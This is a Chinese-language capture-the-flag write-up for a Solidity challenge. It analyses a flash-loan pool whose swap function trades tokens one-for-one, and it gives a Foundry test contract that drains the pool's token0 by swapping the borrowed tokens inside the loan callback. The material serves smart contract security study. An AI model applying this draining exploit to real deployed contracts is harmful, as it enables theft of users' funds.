01.challenge
分析
1.大局观
主要有两个合约:
- Cert
- ERC20代币合约
- 加入了一个
safeCheek()
和grant()
,魔改了一下,以为这里会出考点,但是没用到
- TrusterLenderPool
- 池子拥有token0和token1
- 拥有将此token0和token1交换的
swap()
,但却是等额交换而非K值,提供token0的闪电贷服务
2.任务
将TrusterLenderPool合约的token0余额设置为0,起初token0和token1都有10000个
1 2 3
| function Complete() external { require(token0.balanceOf(address(this)) == 0); }
|
3.详细分析
既然有闪电贷方法,自然闪电贷就是核心突破点。从闪电贷方法可以看出,我们可以借出池子中所有的token0然后做些事情
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| // 闪电贷 function flashLoan(uint256 borrowAmount,address borrower) external nonReentrant{ // 获取闪电贷之前token0的余额 uint256 balanceBefore = token0.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); // 借给borrower,可以是任意地址 token0.transfer(borrower, borrowAmount); // 回调borrower的receiveEther(uint256)进行还钱 borrower.functionCall( abi.encodeWithSignature( "receiveEther(uint256)", borrowAmount ) );
// 检查token0余额,必须大于等于之前的余额 uint256 balanceAfter = token0.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); }
|
swap()
是加减法交换,那么问题是巨大的,因为这么做就失去了token的市场价值规则,会将池子的token耗尽。在本题,我们借到了的token0,可以用来swap,然后池子的token0就会变回原来的值,这样就可以通过闪电贷的还款检验,并且我们拥有token1。然后就可以用token1来换token0完成题目
1 2 3 4 5 6 7 8 9 10 11 12
| // 交换token0和token1,使用之前需要先授权给本合约,这里是等额交换,也就是加减法交换 function swap(address tokenAddress, uint amount) public returns(uint){ require( // 以 || 为界限,必须上边都为true或下边都为true tokenAddress == address(token0) && token1.transferFrom(msg.sender,address(this),amount) && token0.transfer(msg.sender,amount) ||
tokenAddress== address(token1) && token0.transferFrom(msg.sender,address(this),amount) && token1.transfer(msg.sender,amount)); return amount;
}
|
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
import "forge-std/Test.sol"; import "../../src/01.challenge/TrusterLenderPool.sol";
contract attackTest is Test {
TrusterLenderPool public pool; Cert public token0; Cert public token1;
function setUp() public{ pool = new TrusterLenderPool(); token0 = Cert(address(pool.token0())); token1 = Cert(address(pool.token1())); }
function test_isComplete() public { // 1.闪电贷得到10000的token0 [pool: 0token0,10000token1][me: 10000token0,0token1] pool.flashLoan(10000,address(this)); // 4.授权给pool 10000个token1 [pool: 10000token0,0token1][me: 0token0,10000token1] token1.approve(address(pool),10000); // 5.将我们的10000个token1换成10000个token0 [pool: 0token0,10000token1][me: 10000token0,0token1] pool.swap(address(token0),10000);
pool.Complete(); }
function receiveEther(uint256 amount)public{ // 2.授权给pool 10000个token0 [pool: 0token0,10000token1][me: 10000token0,0token1] token0.approve(address(pool),10000); // 3.将我们的10000个token0换成10000个token1 [pool: 10000token0,0token1][me: 0token0,10000token1] pool.swap(address(token1),10000); }
}
|